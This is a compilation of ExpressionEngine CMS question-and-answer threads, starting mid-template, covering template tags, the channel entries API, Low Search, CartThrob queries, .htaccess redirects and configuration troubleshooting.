        {stash:item_entry_id}{entry_id}{/stash:item_entry_id}
        {exp:stash:set_list:nested name="entry_files" context="{entry_id}" parse_tags="yes"}
            {publication}
                {stash:publication_year}{year}{/stash:publication_year}
                {stash:publication_file}{file}{/stash:publication_file}
            {/publication}
        {/exp:stash:set_list:nested}

{/exp:channel:entries}
{/exp:stash:set_list}

<div class="w-row">
    <div class="w-col w-col-6">
        {exp:stash:get_list name="pub" sort="desc" limit="1/2"}
        <div class="_97 card">
            <h4>{publication_title}</h4>
            <ul class="card-list">
                {exp:stash:get_list:nested name="entry_files" context="{item_entry_id}" prefix="nested"}
                <a href="{nested:publication_file}"><li>{nested:publication_year} {publication_title}</li></a>
                {/exp:stash:get_list:nested}

            </ul>
        </div>
        {/exp:stash:get_list}
    </div>
    <div class="w-col w-col-6">
        {exp:stash:get_list name="pub" sort="desc" offset="1/2" limit="1/2"}
        <div class="card">
             <h4>{publication_title}</h4>
            <ul class="card-list">

                {exp:stash:get_list:nested name="entry_files" context="{item_entry_id}" prefix="nested"}
                <a href="{nested:publication_file}"><li>{nested:publication_year} {publication_title}</li></a>
                {/exp:stash:get_list:nested}

            </ul>
        </div>
        {/exp:stash:get_list}
    </div>

</div>
{/exp:stash:set}

```

My working code mentioned above.

---
Tags: stash, grid, list
---


# Question
Title: Blank index.php with no errors (EE 2.8.1)
I am new to EE (but familiar with PHP, SQL, etc.) and am trying to run an EE site locally that was originally made by another developer. It is a large, complex site with numerous plug-ins.

EE verson is 2.8.1. My local setup is Windows 7 64-bit and MAMP with PHP 5.5.38 (the same version the site was built for) and MySQL 5.6.34.

I have imported the db, changed the config file to use my own disk paths etc., and installed further requisites with PHP Composer.

Now, when I visit index.php, I get a completely blank page. I have confirmed that index.php runs to completion (by adding a test 'echo' statement at the end), but it produces no output, even with $debug=1, and I see nothing in the Apache and PHP error logs. (I've also noticed that, when I visit the EE control panel, I can log in, but the CSS styles are all missing.)

I suspect I may have missed something in the config file, problem but am unsure what to try next. Any suggestions? Thanks.

# Answer
Solved it in the end. The problem was a missing slash / at the end of the "third\_party\_path" config setting.
> -1 votes

---
Tags: ee2, config
---


# Question
Title: How do I save a relationship field with save_entry()
I need to use the channel entries API to save a relationship between two channels. I create an entry to channel A and then I create an entry to Channel B, channel B has a relationship field that needs to be set to point to the entry on Channel A.

I can create the entries with the save\_entry() function, but I can't decipher how to set the relationship field on Channel B to Channel A.

My process is:

when I create the entry on Channel A I use the entry ID and pass it as the value of Channel B's relationship field. This does not work.

```
 $channel_b_entry = array(
        'title' => $data['title'],
        'field_id_26' => $data['type'],
        'field_id_29' => $data['channel_a_entry_id'],
        'field_ft_29' => 'xhtml',
    );

```

In this case field\_id\_29 is a relationship field to channel A entries.

I have tried passing the id as an array

```
 $channel_b_entry = array(
        'title' => $data['title'],
        'field_id_26' => $data['type'],
        'field_id_29' => array($data['channel_a_entry_id']),
        'field_ft_29' => 'xhtml',
    );

```

But that didn't work either.

Do I need to setup the relationship my self to the exp\_relationship table, or the save\_entry() takes care of that?

# Answer
> 3 votes
I've managed to tackle this issue myself using the following. The key data structure is immediately below with a full example beneath that. This will handle all the relationship *stuff* automatically.

**Data array structure for relationships**

```
$data = array(
    'title' => $title,
    'entry_date' => $date,
    'edit_date' => $date,
    'field_id_29' => array(
        'data' => array(
            $id
        )
    ),
    'field_ft_29' => 'xhtml'
);

```

**Full example**

```
// Load the api
ee()->load->library('api');
ee()->api->instantiate('channel_entries');
ee()->api->instantiate('channel_fields');

// Set up data for Channel A
$channel_a_id = 1;
$date = time();
$title = "Channel A Title";

$channel_a_data = array(
    'title' => $title,
    'entry_date' => $date,
    'edit_date' => $date
);

// Setup and save channel a entry
ee()->api_channel_fields->setup_entry_settings( $channel_a_id, $channel_a_data );
$success = ee()->api_channel_entries->save_entry( $channel_a_data, $channel_a_id );

// If successful move onto creating channel b entry
if ( $success ) {

    // Get the newly created entry_id from channel a
    $channel_a_entry_id = ee()->api_channel_entries->entry_id;
    $channel_b_id = 2;
    $title = "Channel B Title";

    $channel_b_data = array(
        'title' => $title,
        'entry_date' => $date,
        'edit_date' => $date,
        'field_id_29' => array(
            'data' => array(
                $channel_a_entry_id
            )
        ),
        'field_ft_29' => 'xhtml'
    );

    // Setup and save channel b entry
    ee()->api_channel_fields->setup_entry_settings( $channel_b_id, $channel_b_data );
    ee()->api_channel_entries->save_entry( $channel_b_data, $channel_b_id );

}

```

# Answer
> 0 votes
I got this working by inspecting the publish page, and a relationship field has a 'name' that looks like this:

`<select name="field_id_90[data][]">`

So it looks like EE expects a certain format to be submitted for relationships.

So you could add to your existing array like so:

```
$channel_b_entry['field_id_29']['data'][] = $data['channel_a_entry_id'];

```

---
Tags: channel-entries-api
---


# Question
Title: Is there any way to create 301 redirects while only having access to the clients CMS?
I'm a FED but I've never even heard of Expression Engine. I googled and poked around with no luck.

Unfortunately we've only been given access to their CMS (EE) and we're getting a request to create some 301 redirects. Any help is appreciated! Thank you!

# Answer
**Yes!**

Use the `redirect` variable in your template.

From the documentation:

> {redirect='news/local' status\_code="301"}
> 3 votes

---
Tags: redirects
---


title: Installation problems with Visitor

text:
# Question
Title: Installation problems with Visitor
With EE2, Zoo Visitor was easy to install.

the lack of documentation makes it very difficult to install Visitor on EE3.

Here the copy of the screen installer.

Without the documentation I can't understand this error message:

> An anonymous Guest member does not exist or is not linked with Visitor, go to the Visitor settings and select a member you want to use as anonymous Guest member.

I don't understand this error message too, because Visitor has created and anonymous Guest member.

If I click on install this messager error appears:

The settings options is not working. Does someone already has ever encountered these problems?

> **Updated Question with theses errror screenshots**

**Here more details about error message when i click on install, I tried to manually one by one each step, but But I can not do it.**

The error screenshots under the

```
Expcetion Caught mesage

```

# Answer
> 2 votes
I have the same issue. What I did is to manually create these fields on Visitor Fields group:

* \[**Field Name | Shortname | Field Type | Options**\]
* Member account | member\_account | visitor | n/a
* Firstname | member\_firstname | text | n/a
* Lastname | member\_lastname | text | n/a
* Gender | member\_gender | radio | 'Male' & 'Female' on Radio options
* Birthday | member\_birthday | date | n/a

when I created these fields and refresh the install page (or click the start install button), all status is now Done.

Note: This solution is only to be able to continue on the setup and not a permanent solution for the actual problem with the addon. I'm not very good programmer I just tried doing this and it worked. Just sharing it.

---
Tags: install, visitor, mysqli
---


# Question
Title: How to upload/embed a MP3 file into expression engine?
Good afternoon. I am new to EE, and am trying to upload an MP3 audio file to our webpage. I am able to upload pics, PDF, etc..., but for some reason cannot figure out what to do for an MP3. Can someone help?

# Answer
> 0 votes
you'll most likely need to choose to allow all file types in your file directory upload permission settings and you may also need to look into adding the MIME type for MP3 to your server. You can also disable XSS filtering to allow file type checking to be bypassed, but it is better to set the correct MIME type and keep XSS on if possible.

---
Tags: templates
---


# Question
Title: Is everybody abandoning Expression Engine now?
I've come back to redeveloping an old site that was on EE 2.8.1. When I looked around at the likes of http://eeinsider.com/ or ee-garage.com, and so on, I see blogs that have stopped. Support dating back to 2015. So I went to good ol' Pixel and Tonic. Whoa, they dumped EE onto EE-Harbor.

What's going on?

# Answer
> 2 votes
P+T are unsurprisingly focusing on Craft CMS, which they created a few years back.

Craft has many similarities with EE and it seems that - at least as far as the online slack community goes - many EE mages are now also working on / with Craft these days.

If others have moved on to other CMSs - in part this must be due to problems associated with the botched launch of EE3. The first releases of EE3 were incomplete and few EE2 addons had EE3 versions available at that time.

This triggered a chicken-egg issue: without an equivalent set of addons migrating EE2 sites to EE3 wasn't really possible, but since the migrations were not taking place, the market for EE3 addons was smaller than before (as presumably EE3 sales were to people doing new builds that - reflecting the lack of addon availability - didn't need many addons) - so after launch addon authors didn't have much incentive to put in the effort / investment into updating either. Some, like P+T despite initially saying they would get around to rewriting EE2 addons for EE3 concluded it wasn't worth doing at all and either abandoned EE2 addons or sold them on to other firms / developers, others just took a very long time to complete the work.

We're now a long way down the track from the EE3 launch now, and things are much better than they were: there are at least some alternatives for all the major EE2 addons around.

EE3 itself is stable and fast, and has a roadmap for development (at least Ellis Labs are beginning to refer to EE4 at least as a concept). However it is hard to know what impact the the lost year and general confusion surrounding the launch of EE3 has done to the long term viability of the CMS.

HTH

---
Tags: development
---


# Question
Title: No file was uploaded or file is not allowed by EE.(See EE Mime-type settings)
I am trying to upload a 19.3mb pdf file using Channel Files. It does not work for me as I receive the message:

```
"No file was uploaded or file is not allowed by EE.(See EE Mime-type settings)."

```

XSS filtering is Off.

All PHP settings have been increased but no luck.

```
max_execution_time   300
max_input_time       600
memory_limit         1024M
upload_max_filesize  50M

```

Any help is appreciated.

# Answer
> 0 votes
I further increased two settings (not sure if that helped), but also found and updated the 'post max size'. Successfully uploaded a 17MB file.

```
max_execution_time = 600
upload_max_filesize = 200M
post_max_size = 200M

```

# Answer
> 0 votes
Just to be sure that it isn't something simple, have you checked your Upload Directory settings to verify that the Allowed file types is not set to Images Only?

Also, please post your EE Version.

---
Tags: error, devdemon, channel-files
---


# Question
Title: EE3: Importing into EE3 - updating existing entries
I have an EE3 site, and I want to import data into it from my EE2 site. I'm planning on creating an XML file from the EE3 site that will have the entry IDs and titles, then adding the entry content into that XML file, then importing that XML file into EE3. I know how to construct XML files. What I'm looking for is: is there a way for me to map the XML onto the EE3 entry fields including custom fields; and, can the existing entries be updated if I use the entry IDs as the unique key? I have looked at DataGrab, but I'm not sure about the "updating existing entries" question.

# Answer
Simply put, if you value your time even a little bit, I would use DataGrab rather than rolling your own import / export routines. Datagrab is simple and it works.

The 'updating existing entries' option in datagrab works OK - but is not perfect: it depends on your data quality and which field you set as the reference etc. As ever with these sorts of things, if you can set up a test system and practice the import offline before you do it for real, probably a good idea.

If you have specific questions about getting it to work, I would put a question into the datagrab support forum.
> 4 votes

---
Tags: ee3, import, xml
---


# Question
Title: Searching by both keywords and categories with Low Search
Had a bit of a search through the different questions on here already but it seems that nothing matches what I'm after. Using the example template from the documentation i can get low search working just fine with keywords only.

My issue however is that i need to be able to search both entry title (keywords) AND category. For example - searching all entries that contain the keyword "manager" but also the category of "north london".

I have a single collection which looks at the correct channel and what not but i still feel like I'm missing something.

Is this something that is possible with low search? or am I just being blind and or misinterpreting the documentation.

Template code below:

```
           {exp:low_search:form required="keywords"}
                <div class="row">
                    <div class="large-5 medium-5 columns">
                        <input type="search" name="keywords" placeholder="Job title / Keywords" />
                    </div>

                    <div class="large-5 medium-5 columns">
                        <select name="category[]" class="search-location">
                            <option value="">Location</option>

                            {exp:channel:categories category_group="5" style="linear"}
                                <option value="{category_id}"{if low_search_category ~ '/\b'.category_id.'\b/'} selected{/if}>
                                    {category_name}
                                </option>
                            {/exp:channel:categories}
                        </select>
                    </div>

                    <div class="large-2 medium-2 columns">
                        <button type="submit">Search</button>
                    </div>
                </div>
            {/exp:low_search:form}

```

EDIT: Added results tag below:

```
{exp:low_search:results query="{segment_3}" channel="practice-careers" keywords:lang="en" keywords:inflect="yes" limit="10"}

```

# Answer
I have a very similar search form on my site with keywords, categories, and additional fields for further search refinement.

I noticed one major difference though - my result page doesn't use a channel parameter, I am using the collection parameter to set the data source.

```
{exp:low_search:results
    status="open"
    query="{segment_3}"
    collection="products"
    collection_lang="ja"
    keywords:mode="any"
    keywords:loose="both"
    limit="30"
}

```

My search result tags are somewhat specific to Japanese language, hence the keywords:mode settings. However, if you have already set a collection, it might be best to specify the collection in the tags instead of a channel.
> 0 votes

---
Tags: low-search
---


# Question
Title: Im new and need help with expresso-store
I need to turn off express store, but NOT delete or remove it altogether. How is this done please? using expression engine 2.6

thanks Roo

# Answer
If you only need to remove it from the front end of the site I recommend just deleting all your store-related templates (eg all cart and checkout templates) and removing any "add to cart" template code from your product template(s). If you aren't using version control for your templates then make a backup first, obviously.

For good measure you could also disable all payment methods in Store's settings.
> 4 votes

---
Tags: expresso-store
---


# Question
Title: Low Search, Multiple Criteria, and Matrix Field
This is my first time trying to use Low Search for anything other than a simple keyword search and something isn't clicking.

I have a search form within a directory of member firms. There is a keyword field, as well as a drop down for states (US) and countries.

A few things worth noting:

* The FIRMS channel has a matrix field ({cf\_firm\_location}) that has a VZ address column ("m\_address").
* If I search for a country (Ecuador =\> "EC") in the keywords, it comes up with the correct results. So that tells me that the matrix field / VZ Address column are properly set for searching.
* If I try to search using the dropdown field for country, it returns ALL entries in the FIRMS channel (not sure why?)

Here is my **SEARCH FORM**:

```
{exp:low_search:form result_page="directory/search"}
<div><label for="keywords">Keywords</label> <input type="search" id="keywords" name="keywords" placeholder="Enter Search Phrase" size="18" maxlength="100" onblur="if (this.value=='') this.placeholder = 'Enter Search Phrase'" onfocus="if (this.placeholder=='Enter Search Phrase') this.value = ''" class="search-box rounded" /></div>
<div>
    <label for="search:cf_firm_location:m_address:region">State</label>
    <select name="search:cf_firm_location:m_address:region" id="search:cf_firm_location:m_address:region">
        <option value="">Please select....</option>
        <option value="AL">Alabama</option>
        <option value="AK">Alaska</option>
        <option value="AZ">Arizona</option>
        ......
    </select>
</div>
<div>
    <label for="search:cf_firm_location:m_address:country">Country</label>
    <select name="search:cf_firm_location:m_address:country" id="search:cf_firm_location:m_address:country">
        <option value="">Please select....</option>
        <option value="AF">Afghanistan</option>
        <option value="AX">Aland Islands</option>
        <option value="AL">Albania</option>
        <option value="DZ">Algeria</option>
        ......
    </select>
</div>
<div><button type="submit" class="tiny radius button search-button">Search</button></div>
{/exp:low_search:form}

```

Here is my **SEARCH RESULTS**:

```
{exp:low_search:results query="{segment_3}" require_query="yes" collection="firms" status="not closed" limit="10" paginate="bottom" orderby="title" sort="asc"}

<........ content here ............>

{/exp:low_search:results}

```

As always, any tips would be greatly appreciated!

# Answer
> 2 votes
As the docs for the Field Search filter state, the syntax to target a Grid or Matrix column is as follows:

```
search:field_name:column_name

```

So, the prefix `search:`, followed by the Matrix field name (`cf_firm_location`), followed by the column name (`m_address`).

Since you've got a fourth segment in there, probably a label that the Address field type uses, LS will not match the given name (which LS thinks is `m_address:country`) to the correct column.

Targeting a specific value for the Address field with the Field Search filter is not possible. It looks like VZ Address stores its data as a JSON string, so you could use the Field Search filter, but you're probably better off using the `contains_words` parameter as well (see how that would work in the EE docs).

As always with any Low add-on, turn on template debugging and look up all lines that mention the add-on name to see what's happening.

---
Tags: low-search
---


# Question
Title: how do I get cartthrob order items using only php
This question came out of discussion of a way to speed up cartthrob order/order items output.

Using only a php solution, is it possible to display all cartthrob order item info? The goal is very fast output with multiple orders and multiple items per order. What is the fastest method to use that would result in the least amount of queries or server load.

# Answer
> 1 votes
There are many ways to go about it, but I find that in many situations, bypassing EE tags in favor of exp:query is much faster for data output. However, in this case, I needed a pure php solution and as such, turned to leveraging the EE DB class.

Here, I'm going to walk through a quick example of using the DB class as it relates to cartthrob - specifically, the cartthrob order\_items tag. I am using EE3 for this example. I am simply going to post the php necessary to get into the order\_items info and leave the processing and display of that data up to you.

```
<?php
    // order channel is 38
    // fields - specify which fields you need or use *
    // order_items = get from cartthrob_order_items.extra
    // status is ready

    // fetch the orders
    $readyorders = ee()->db->select('t.entry_id, t.title, extra')
    ->from('channel_titles t')
    ->join('cartthrob_order_items ct', 't.entry_id = ct.order_id')
    ->where(array(
          't.channel_id' => 38,
          't.status' => 'ready'
    ))
    ->order_by('t.entry_id', 'asc', 't.entry_date','asc')
    ->get();

```

In the above code, I've set my order channel as channel 38, and I'll be pulling the title, entry\_id, and the CT order\_items item\_options field(via its own table - the extra field with a join) - also, I am limiting my data to only orders that have a status of 'ready' and then ordering by entry\_id and date.

Please note that if you need to use other fields that are in your order channel data, you'll probably need to add another join to pull the channel\_data table in at the same time. In this case I am only concerned with order\_items so I only need to pull that table in.

Cartthrob stores order\_items options as serialized base64 encoded data in its own table (exp\_cartthrob\_order\_items) inside a field called *extra*. Data is stored with an order\_id field that contains the entry\_id of the original order data which is why I used ct.order\_id to match up in the query join. At any rate, once you pull the order\_items field data, you'll need to unserialize and decode it.

**Note: if you do not use item\_options for your products, you can simply pull the title field from the cartthrob\_order\_items table. Furthermore, you will not need to use the unserialize or base64 decode functions as the item titles are stored as plain text.**

```
// use foreach to work with the results - returning an array
foreach($readyorders->result_array()as $row){
    //deserialize and decode the CT order_items field
    $items = array(unserialize(base64_decode($row['extra'])));

    //now lets run through the order_items as an array
    foreach($items as $item){

    // inside this foreach loop, you can apply whatever logic you need to pick up specific data.
    // Each field in the order_items array is available as $item['my_field_name']

    //for example, use the entry_id from the $row array with a value from the $item array

    echo $row['entry_id'].'::'.$item['price'];

    }
 }

```

In my case, I have taken the above code and I use some logic to find all orders that have a delivery date (with a delivery\_date field in the order\_items) and I compare it with todays date. For orders that match, I add them to an update array. I then take my new update array and use db-\>update to auto change the statuses and make changes to the order info as needed. The nice thing about this is once the logic is setup, you can then fire off jobs with cron to auto update entries based on data that's in the the order\_items fields.

I hope the above methods are easy to understand and helpful to others.

# Answer
> 0 votes
Interesting and thanks for posting this. I'm confused as it why you are using the extra column? I just grab the title column.

For my testing I used some Composer components and twig. It loads in seconds:

```
    $getorders = "SELECT
        ct.entry_id as entry_id,
        ct.title as order_id,
        cd.field_id_27 as order_total,
        cd.field_id_34 as order_location,
        cd.field_id_36 as order_cust_name,
        cd.field_id_37 as order_phone,
        cd.field_id_103 as order_mob,
        cd.field_id_60 as order_instructions,
        FROM exp_channel_data cd
        LEFT JOIN exp_channel_titles ct
        ON cd.entry_id=ct.entry_id
        where ct.status = 'xeroed'";

        //get the orders
        $orders = Capsule::select($getorders, array(1));

        //combine the order items with the orders
        foreach ($orders as $order) {
        $items = Capsule::select('select exp_cartthrob_order_items.title, exp_cartthrob_order_items.quantity from exp_cartthrob_order_items Where exp_cartthrob_order_items.order_id ='. $order->entry_id);
        $boo_orders [] = ['order_cust_name'=>$order->order_cust_name, 'order_id'=>$order->order_id, 'items'=> $items
        ];}

   // build twig
    echo $twig->render('boo.tpl', array(
    'orders' => $boo_orders
    ));

```

---
Tags: cartthrob, php
---


# Question
Title: Is ExpressionEngine compatible with MariaDB?
I have about 50 sites ranging in versions from 2.5 up to 2.11 of ExpressionEngine. All are running on MySQL 5.6.35 at the moment. I am debating about upgrading out server to use MariaDB 10 but wanted to see if there are any known issues with older version of EE before I do so.

# Answer
> 1 votes
I run it on a Vagrant box and it seems to work fine.

# Answer
> 0 votes
I seem to be running maria on a few cloud servers without any issues

# Answer
> 0 votes
I use Maria DB for both EE2 and EE3 and have set my default storage engine as Aria. Granted, for some tables, EE still uses InnoDB but its not been an issue. I did some limited testing and found that Aria seemed to be a bit faster and I like the crash safe features and relatively easier configuration.

---
Tags: mysql
---


# Question
Title: .htaccess changes broke site 'NOT FOUND' or CSS/JS missing
I was working on a clients site and after trying to add redirects from www to non-www the site unfortunately broke.

I reverted back to the old .htaccess file and it is still not working.

I looked through many threads and tried removing slashes from index.php, and adding/removing rewrite base /, but still no luck.

My last lines of code in the htaccess file are

```
# Removes index.php
RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /index.php/$1 [L]

```

I tried changing the last rewrite rule to index.php/$1, index.php?/$1 and /index.php?/$1 from suggestions in other threads but still no luck.

I get a 'NOT FOUND' on the non-www version of the site now, and www. version of the site doesnt load any css,js, or image files.

Has anybdoy experienced anything similar or has any suggestions? Any help would be greatly appreciated

# Answer
> 1 votes
I'd like to say thanks to pixeldev for pointing me in the right direction in solving my issue.

**Turns out it was a DNS issue.** I initially tried adding in URL redirects through register.com's UI and it reset my A records to default IP addresses for \*.example.com and example.com, but left www.example.com as normal.

Since my CSS, JS, and images were being served through my non-www links, that is why the page was 'NOT FOUND' and none of the content was being served.

After reverting the A records and waiting for changes to propagate, everything is back to normal now.

# Answer
> 0 votes
I noticed that your rewrite rule does not include css and js. Do adding them help?

```
RewriteCond $1 !\.(css|js|gif|jpe?g|png) [NC]

```

---
Tags: htaccess
---


title: CMS icons pointing to wrong site

text:
# Question
Title: CMS icons pointing to wrong site
I've got a site that is live that is still referencing URLs from the development site. Nothing major, but some icons in the CMS are missing, and when I try to pull them up, they are pointing to an old URL (development site). I've searched the config files, as well as the database, but the path doesn't come up.

Not a huge deal, but it bugs me every time I log in.

# Answer
I assume you mean the Control Panel? If look go to Settings and then URL and Path Settings, what are the paths set to? Your might also check for any config overrides.
> 0 votes

---
Tags: control-panel
---


title: Is version 1.7.3 no longer supported?

text:
# Question
Title: Is version 1.7.3 no longer supported?
Having trouble uploading .csv file into a template, as of just this week. We're running version 1.7.3. Is this version no longer supported?

# Answer
That's a really old version. It's not supported by ellislab anymore. My guess is that the hosting changed some stuff like the php version (because 1.x needs a really old php version too)
> 0 votes

---
Tags: ee1
---


# Question
Title: How to show a certain page based on the selection of prior two pages
First page would be 10 street light bases to select from. Next page would be available light posts to select from (not all light posts are available for each base). Then the final page would be a details page about the base and post that were selected.

I have three channels: poles, bases, pairings.

I've tried this using playa, which works up until page 2. On page one I can select a base, then the next page shows me related options of poles for that particular base selected, but then there's really no way for me to relate my "pairings" entry of that particular pole and base combination.

Really hitting a wall with this.

# Answer
> 1 votes
Let me see if I can help here. I'll discuss how I would approach this and hopefully we can go from there or I'll revise to clarify if needed.

I would probably try to tackle this in one of the following ways - however I will state out front that I typically don't like to use relationship fields unless I have to, so I'll leave that bit of logic out for now. Hopefully someone else can answer how they would set it up via playa or relationship fields.

It sounds to me like you are looking for an approach that takes into account what the customer has selected previously and you want to generate a page based on those variables.

1. Make a multi step form on a single page and use scripting to control display logic and build the final url to forward to (your details page). I tend to use this technique for many different sites where I need to gather up options and then send the user somewhere else based on that info. Its fast and dynamic - but you'll need to know how to work with jQuery.
2. You could possibly load the selected item ID into the session and then read that variable on another page. Use the session class to do this and clear the session variables when you've reached a destination page.
3. Tack on a URL segment for the option selected. If your first page is product/page-one you could forward to product/page-two/option1 and then use the segment\_n tag to grab the selected item and put it into a channel\_entries tag. Follow that up with sending to your second option page like: product/page-three/option1/option2. Now you'll have both selected items via the url. The downside to this approach is that you'll need to set some protection if the user decides to remove a url segment or manually change the numbers in the url. You'll probably also need to set your channel\_entries tags to dynamic="no" so that they don't try to use the URL segments to display the content directly.

Personally, I'd build a tabbed page and go with jQuery because I know I could set that up pretty quickly. I'd control the logic for matching up poles etc via class or id and change what is available for selection based on setting some variables as the user picks what they want.

Perhaps there is an EE extension that would help or maybe it would be easier via playa and setting up some parent/child relationships. I'm hoping someone else will provide input if that is the case

---
Tags: playa, related-entries
---


# Question
Title: Simple Commerce Still Not Recording Purchases
Okay, so I have rarely used Simple Commerce and I’m starting to see why. But the client’s needs are minimal so I don’t want to upgrade to a 3rd party addon.

I have setup Simple Commerce as specified including IPN. I have provided PayPal my public key, got my code, and also placed their provided cert, my public and private key in a directory above root accessible to EE. The temp folder for encrypted files, also above root, has read/write access. I have turned on Payment encryption in both Simple Commerce and in the PayPal account. I have providing PayPal the IPN URL from the CP.

Everything appears to work. The buttons are encrypted, the purchases are completed through PayPal no prob. I have debugging on and it shows the IPN notifications coming back in an email. I also used PayPal’s tester to test the IPN URL. I am buying as a logged in user. I have done everything the (limited) documentation says and yet, the purchases STILL won’t record in the db and fire off the appropriate emails.

Anyone have any insight?? Thanks!

# Answer
Worked with the OP in ExpressionEngine support. In this case, it relates to:

https://stackoverflow.com/questions/26619982/ipn-verification-returns-invalid-as-paypal-is-sending-incorrect-charset-in-post

and

https://stackoverflow.com/a/23593082

Ensure that your IPN configuration is set to use UTF-8 encoding, or the Simple Commerce IPN verification will not be validated by PayPal.
> 2 votes

---
Tags: paypal, simple-commerce
---


# Question
Title: Show particular event occurrence details
I have a calendar showing all upcoming events, many of which are occurrences of an event (example: weekly basketball on Thursdays from 6 to 9pm).

If the user selects the third occurrence of this event, it still shows the event details for the first upcoming occurrence rather than date & time info for the third one.

Example: First occurrence July 13 6-9pm Second occurrence July 20 6-9pm Third occurrence July 27 6-9pm

If the user selects the third occurrence and clicks on the event, the event page that comes up shows July 13 6-9 and not July 27 6-9...how do I pull a specific occurrence for an event when it is selected from a calendar?

# Answer
> 0 votes
Recurrences are just simulated based on rules, so they don't have unique event/entry ID's. Because of this, there isn't a real clean way to pinpoint each occurrence like you ask. However, the workaround is to send the date segments along with it in the URL so you can sort of manipulate the template to appear like it's showing the date for that specific recurrence.

Check out the demo templates that come with Calendar to see how this is done. :)

---
Tags: solspace, solspace-calendar
---


title: Problem with category conditional

text:
# Question
Title: Problem with category conditional
I always seem to run into some problems with conditionals. The code in question is this:

```
{categories}
{if category_id != "305|325"}

Index version 1

{/if}

{if category_id == "305|325"}

Index version 2

{/if}
{/categories}

```

At the moment, it is always returning version 1 of the index, even when the category of the entry matches 305 or 325.

# Answer
> 3 votes
If I'm not mistaken, for OR conditionals you must use one of the following:

```
{if category_id != 305 OR category_id != 325}

{if category_id != 305 || category_id != 325}

```

also, please double check that you don't need to use AND instead of OR. I've tripped myself up with that many times - especially when using negative comparison.

```
{if category_id != 305 AND category_id != 325}
     index 1 ---- the cat id is not 305 AND it is not 325
{if:else}
     index 2  --- all other cat ids
{/if}

```

OR...

```
{if category_id == 305 OR category_id == 325}
     index 2  ---- the cat id is 305 OR it is 325
{if:else}
     index 1 ---- all others
{/if}

```

---
Tags: conditionals
---


# Question
Title: Problem showing fields in grid channel fields
I have a strange problem and I think there is a bug in the platform (v2.9.2 - Build Date: 20141004 ), related to Grid field.

I'm trying to access more fields and one of this fields need to be accessed many times in the template for example:

```
{grid_name search:field_used_for_search="criteria"}
  something
  {grid_name:field1} ........
  {grid_name:field1}........
  {grid_name:field1}......
  {grid_name:field2}.........
  {grid_name:other_field}.........
  {grid_name:field3 status="Active"}
    {grid_name:field3:count}
    ......
  {/grid_name:field3}
  {grid_name:field1}
{/grid_name}

```

I added two new fields in channel fields for this Grid, because I need to add a new feature in website and when I tried to access those new fields I had a big surprise, the page displayed something like:

```
{grid_name search:field_used_for_search="criteria"}
  {grid_name:field3 status="Active"}

  {/grid_name:field3}
{/grid_name}

```

Let's presume that I want to to show a field (doesn't matter if is one of those added recently or olds) somewhere inside **grid\_name** tag. I thought maybe is something with my new fields and I tried to access others (old ones) and is the same behavior. So I deleted some of the old recurrence from my template and I access other one and surprise, works.

The way that I access those fields is right. So if I delete for example two recurrence of {grid\_name:field2} I can access those two fields added recently, but if I keep the old ones and I try to display all of them I get the previous error.

Do you have some suggestions ?

PS: The template is very large (320 full lines, without white lines), can be a problem related to this ?

Thanks, Bobo

# Answer
> 0 votes
Possibly fixed in next EE version 2.9.3?:

> Fixed a bug (#20704) where Grid tags may not parse correctly if multiple Grid tag pairs are present and one tag pair contains no variables.

https://docs.expressionengine.com/v2/about/changelog.html#version-2-9-3

---
Tags: error, grid, channel-fields
---


title: Cartthrob on_the_fly item options

text:
# Question
Title: Cartthrob on_the_fly item options
I've got a cartthrob site where I have two product channels and then an "on\_the\_fly" product, where a user will enter their data for account number, price and client fields. Here is my add\_to\_cart code:

```
    {exp:cartthrob:add_to_cart_form
    allow_user_price="yes"
    entry_id="{entry_id}"
    on_the_fly="y"
    return="cart"
    tax_exempt="yes"
    title="Online Bill Pay"
    }
    <input type="text" name="item_options[account_number]" value="" placeholder="Account Number">
    <input type="text" name="price" value="" placeholder="Dollar Amount Owed">
    <input type="text" name="item_options[client]" value="" placeholder="Person Being Served">
    <input type="submit" value="Add to Cart">
{/exp:cartthrob:add_to_cart_form}

```

I would assume that would put an item in my cart titled: "Online Bill Pay" with the three options of account\_number, price and client appearing in the cart. Only thing that appears in the cart is the title (obviously, its hard-coded) and the price.

And here is my cart template (the switchee conditional is hopefully used to help decipher between my two product channels and the one that I'm adding on the fly) which has no channel name. Perhaps there is a better way to detecting this -- if so I'm open to suggestions.

```
    {exp:cartthrob:cart_items_info}
    {if no_items}There's nothing in your cart{/if}
    {if first_row}
        {exp:cartthrob:update_cart_form return="/cart/"}
    {/if}
    {exp:switchee variable='{channel_short_name}' parse='inward'}
    {case value='events|workshops'}
        {exp:channel_images:images entry_id="{entry_id}"}
            <img src="{image:url:large}">
        {/exp:channel_images:images}
    {/case}
    {case value=''}
        <img src="image.jpg">
    {/case}
    {/exp:switchee}
    <a href="{exp:switchee variable='{channel_short_name}' parse='inward'}
    {case value='events'}/events/{url_title}{/case}
    {case value='workshops'}/workshops/{url_title}{/case}
    {case value=''}/pay{/case}{/exp:switchee}">{title}</a>
        {if dynamic}
            {exp:cartthrob:item_options row_id="{row_id}"}
                {options}
                    {option_value}
                {/options}
            {/exp:cartthrob:item_options}
        {if:else}
            {summary}
        {/if}
    Quantity: {quantity} @ {item_price}/ea
    <a href="/cart/delete/{row_id}">Remove Item</a>
    <h4>{cart_total}</h4>
{/exp:cartthrob:cart_items_info}

```

To recap: I'm not getting the item options for account number or client in the add to cart form to show in the cart. In the cart, I'm unable to detect if this is an existing product channel or my on the fly, user-populated product. Can anyone please advise where I'm going wrong? TIA.

# Answer
> 0 votes
I don't really see anything that is obviously wrong with your add to cart form. However, I'd like to check that you have the add\_to\_cart form loaded inside a channel\_entries tag. If not, you will be missing an entry\_id for the product. Also, do you have products set up via cartthrob's product channel settings? I'm going to assume that you don't because you are using `on_the_fly` but if you have the same products setup as entries, then I would recommend using them instead of `on_the_fly` for better control and inventory.

In my case, I build my products out via data from several channels and assign an entry\_id in the form itself (via script) so I use a hidden input field name="entry\_id" to do so. At the same time, I use a title input field to set the title instead of using the title parameter in the tag. I have a pretty unconventional setup, but since I needed inventory control, I set up products so that I don't need to use `on_the_fly`.

I do not use switchee but I do something similar in that I have another hidden input name="item\_type" that I use to categorize my items. I then have the output tags set to check that field and change the display to fit the item being shown. As I mentioned above, the entry\_id, all item\_options etc are set to the form based on user input so I use jQuery to manage the input values and set things dynamically.

---
Tags: cartthrob, ee3, switchee
---


title: Split channel entries into 3 columns

text:
# Question
